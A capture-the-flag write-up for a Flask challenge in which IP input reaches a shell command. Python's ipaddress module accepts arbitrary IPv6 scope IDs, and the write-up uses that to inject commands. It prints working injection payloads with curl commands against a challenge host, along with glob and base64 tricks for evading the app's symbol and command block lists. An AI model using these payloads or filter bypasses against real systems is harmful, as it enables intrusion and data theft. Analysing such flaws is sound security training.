Writeup: 0day on ipaddress - upCTF (Web)
Overview
The challenge provides a Flask web application that wraps an "nmap" scanning tool. Users supply an IP address (and optional port) via the /check endpoint, which gets passed into a shell command. The goal is to achieve command injection to read the flag file.
Source Code Analysis
The server (server.py) has a /check endpoint that:
- Takes
ipandportquery parameters - Validates
ipusing Python'sipaddress.ip_address()— must be a valid IP - Validates
portusingint()— must be a number 1-65535 - Passes the original string to
nmap_scan(), which builds a shell command:
command = f"nmap -F -sV {ip}"
result = subprocess.run(command, shell=True, ...)
Filters in Place
Input filter (on ip only):
suspicious_symbols = ["$", "\"", "\'", "\\", "@", ",", "*", "&", "|", "{", "}"]
suspicious_commands = ["flag", "txt", "cat", "echo", "head", "tail", "more", "less", "sed", "awk", "dd", "env", "printenv", "set"]
Output filter:
if "{" in output:
return {"success": False, "error": "Suspicious output detected"}
Key Observations
shell=Trueinsubprocess.run()— classic command injection target- The
nmapbinary is a fake bash script that just prints a message - The input filter does NOT block:
;(semicolon),`(backtick),(,),?,% - The
ipaddress.ip_address()return value is discarded — the original string is used in the command
The Vulnerability: IPv6 Scope ID Injection
Python 3.9 introduced support for IPv6 scope IDs in the ipaddress module. An IPv6 address like fe80::1%eth0 is valid, where eth0 is the scope ID (network interface).
Internally, IPv6Address.__init__() does:
if '%' in addr_str:
addr_str, self._scope_id = addr_str.split('%', 1)
The scope ID is not validated — it accepts any arbitrary string. This means:
ipaddress.ip_address("fe80::1%eth0;id") # Valid! scope_id = "eth0;id"
The original string fe80::1%eth0;id is then placed into the shell command:
nmap -F -sV fe80::1%eth0;id
The shell interprets ; as a command separator, executing id as a separate command.
Constraint: No Forward Slashes
One catch: ipaddress checks for / before parsing the scope ID (since / is used for CIDR notation like fe80::1/64). This means we cannot use absolute paths. However, since the Dockerfile sets WORKDIR /app, relative paths work fine.
Exploitation
Step 1: Confirm Command Injection
curl -s -G "http://46.225.117.62:30002/check" \
--data-urlencode "ip=fe80::1%eth0;id"
Response: uid=0(root) gid=0(root) groups=0(root)
Step 2: List Files
curl -s -G "http://46.225.117.62:30002/check" \
--data-urlencode "ip=fe80::1%eth0;ls"
Response includes: flag, flag.php, flag.tx, flag.txt, nmap, server.py, xlag.txt
Step 3: Read the Flag
Direct file reading fails because:
- Words
flagandtxtare blocked in the input filter - The flag format
upCTF{...}contains{which is blocked in the output filter
Bypass input filter: Use ? glob wildcards — fla? matches flag, t?? matches txt
Bypass output filter: Use base64 encoding (not in the blocked command list)
curl -s -G "http://46.225.117.62:30002/check" \
--data-urlencode "ip=fe80::1%eth0;base64 fla?.t??"
Response: dXBDVEZ7aDB3X2M0bl8xX3dyMXQzX3QwXzRuX2lwNGRkcmVzcz8hLVZpbXhTcUtiNjIzMjgzMzF9
Step 4: Decode
echo "dXBDVEZ7aDB3X2M0bl8xX3dyMXQzX3QwXzRuX2lwNGRkcmVzcz8hLVZpbXhTcUtiNjIzMjgzMzF9" | base64 -d
Flag: upCTF{h0w_c4n_1_wr1t3_t0_4n_ip4ddress?!-VimxSqKb62328331}
Summary of Bypasses
| Protection | Bypass |
|---|---|
ipaddress.ip_address() validation | IPv6 scope ID (fe80::1%<payload>) accepts arbitrary strings |
/ rejected by ipaddress | Use relative paths (WORKDIR is /app) |
flag, txt blocked in input | Glob wildcards: fla?, t?? |
{ blocked in output | base64 encode the output |
cat blocked | Use tac, base64, or other unblocked commands |
$, &, | blocked | Use ; for command separation (not blocked) |